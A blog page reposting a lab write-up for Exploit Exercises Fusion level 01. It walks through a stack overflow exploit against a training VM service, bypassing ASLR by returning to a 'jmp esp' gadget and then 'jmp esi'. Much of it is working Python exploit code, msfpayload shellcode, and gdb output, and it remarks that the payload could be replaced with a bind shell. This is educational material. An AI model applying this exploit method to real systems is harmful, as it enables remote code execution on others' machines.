注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

Exploit Exercises - Fusion 01  

2015-01-02 13:01:09|  分类: 渗透测试 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

It’s been a while since I last did a write-up about Exploit Exercises. I’m starting to look back at it now, since I have some more free time again. I’ve now, as I’m sure you can guess by the title of this post, solved level 01.

So this level is very similar to the first, except that it has ASLR and doesn’t tell us where the buffer is on every execution. Even if it did tell us, due to the ASLR, it very well may change every time it’s executed. Based on this information, I went down the road of using a ret2reg method.

So let’s start with the code we used on level 00, but change the comments and port numbers to be more appropriate:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0xbffff999)
        nops = "\x90"*100
        shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        print s.recv(1024)
        s.send("GET /" + junk + ret + " HTTP/1.1\n" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20001,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

Now to start out, let’s generate some new shellcode, to touch a file in /tmp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fusion@fusion:/opt/metasploit-framework$ ./msfpayload linux/x86/exec CMD="touch /tmp/level01" C
/*
* linux/x86/exec - 54 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependChrootBreak=false, AppendExit=false, CMD=touch
* /tmp/level01
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80";

Now to debug, let’s change the return address to 0xDEADBEEF to generate an error, since we no longer know where the buffer will be. I also removed the “/” after the “GET”, as well as the “\n” after the “HTTP/1.1” since they’re really just junk getting in the way. Additionally, since the buffer isn’t being printed to the screen, the “recv(1024)” code needed to be removed so the program didn’t wait for it.

Now, our codebase looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0xDEADBEEF)
        nops = "\x90"*100
        shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        s.send("GET " + junk + ret + " HTTP/1.1" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20001,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

As expected, when it was ran, it crashed, and dumped a core.

1
2
3
4
fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls /tmp
core-level01-11-20001-20001-2222-1341317061

So I loaded it into gdb to look at the dump.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
fusion@fusion:~$ sudo gdb -q --core=/tmp/core-level01-11-20001-20001-2222-1341317061
[New LWP 2222]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) i r
eax            0x1      1
ecx            0xb772d8d0       -1217210160
edx            0xbfa65d90       -1079616112
ebx            0xb78a5ff4       -1215668236
esp            0xbfa65d90       0xbfa65d90
ebp            0x41414141       0x41414141
esi            0xbfa65e44       -1079615932
edi            0x8049ed1        134520529
eip            0xdeadbeef       0xdeadbeef
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Initially, this shows that our return address did get hit successfully, since “0xdeadbeef” is the overwritten EIP. I then started exploring each of the registers to see if there was anything of interest. I found that my shellcode was actually being stored in the esi register, or at least the start of the nop-sled was:

1
2
3
4
(gdb) x/10x $esi
0xbfa65e44:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfa65e54:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfa65e64:     0x90909090      0x90909090

I immediately thought this was going to be the end of the challenge, since I could just ‘jmp esi’. However, when looking for that opcode, I couldn’t find it:

1
2
fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esi /opt/fusion/bin/level01
[/opt/fusion/bin/level01]

Trying to find another way, I looked at the stack pointer, with a little extra surrounding it to see what’s on each side:

1
2
3
4
5
(gdb)  x/16x $esp-16
0xbfa65d80:     0x41414141      0x41414141      0x41414141      0xdeadbeef
0xbfa65d90:     0xbfa65d00      0x00000020      0x00000004      0x00000000
0xbfa65da0:     0x001761e4      0xbfa65e30      0x20544547      0x41414141
0xbfa65db0:     0x41414141      0x41414141      0x41414141      0x41414141

So if our stack pointer is at 0xbfa65d90, the byte right after our return (0xdeadbeef), then we could return to the esp, and then redirect to the esi! Let’s test this by changing the return address to a ‘jmp esp’, and making the next byte a debug opcode to halt the program.

Luckily this time we have a valid address for our register:

1
2
3
fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esp /opt/fusion/bin/level01
[/opt/fusion/bin/level01]
0x08049f4f jmp esp

So now our code looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0x08049f4f)
        esi = "\xCC"
        nops = "\x90"*100
        shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        s.send("GET " + junk + ret + esi + " HTTP/1.1" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20001,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

Once it’s executed, I load it into gdb again to poke around.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls /tmp
core-level01-5-20001-20001-2353-1341318366
fusion@fusion:~$ sudo gdb -q --core=/tmp/core-level01-5-20001-20001-2353-1341318366
[New LWP 2353]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbfa65d91 in ?? ()
(gdb) x/16x $esp-16
0xbfa65d80:     0x41414141      0x41414141      0x41414141      0x08049f4f
0xbfa65d90:     0xbfa600cc      0x00000020      0x00000004      0x00000000
0xbfa65da0:     0x001761e4      0xbfa65e30      0x20544547      0x41414141
0xbfa65db0:     0x41414141      0x41414141      0x41414141      0x41414141

Well it looks like it hit our debug point. Let’s try replacing the “\xCC” with the opcodes for “jmp esi”. But first we have to find what that opcode actually is. I found a decent enough method for now on stackoverflow, which I modified a little for my needs. I’d like to find something better for the future though.

1
2
fusion@fusion:~$ echo -e "BITS 32\njmp esi" > tmp.S && nasm tmp.S -o tmp.o && ndisasm -b 32 tmp.o && rm -f tmp.o tmp.S
00000000  FFE6              jmp esi

Since this is a 2 byte instruction, we will need to pad the end of it to 4 bytes, to align it properly. I simply used “\x90” nops to do so, giving us the value “0x9090E6FF”.

That leaves us with the final code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0x08049f4f)
        esi = pack("<I", 0x9090E6FF)
        nops = "\x90"*100
        shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        s.send("GET " + junk + ret + esi + " HTTP/1.1" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20001,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

Now if we execute our exploit, it works just fine, bypassing ASLR and everything.

1
2
3
4
5
6
7
8
fusion@fusion:~$ ls -al /tmp
fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls -al /tmp
total 8
drwxrwxrwt  2 root  root  4096 2012-07-03 23:32 .
drwxr-xr-x 22 root  root  4096 2012-05-07 21:53 ..
-rw-r--r--  1 20001 20001    0 2012-07-03 23:32 level01

There you have it. Our shellcode to “touch /tmp/level01” executed as the uid 20001. That shellcode could then be replaced with something more malicious (read: meterpreter/bindshell) if desired. But for PoC, that works.

  评论这张
 
阅读(190)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017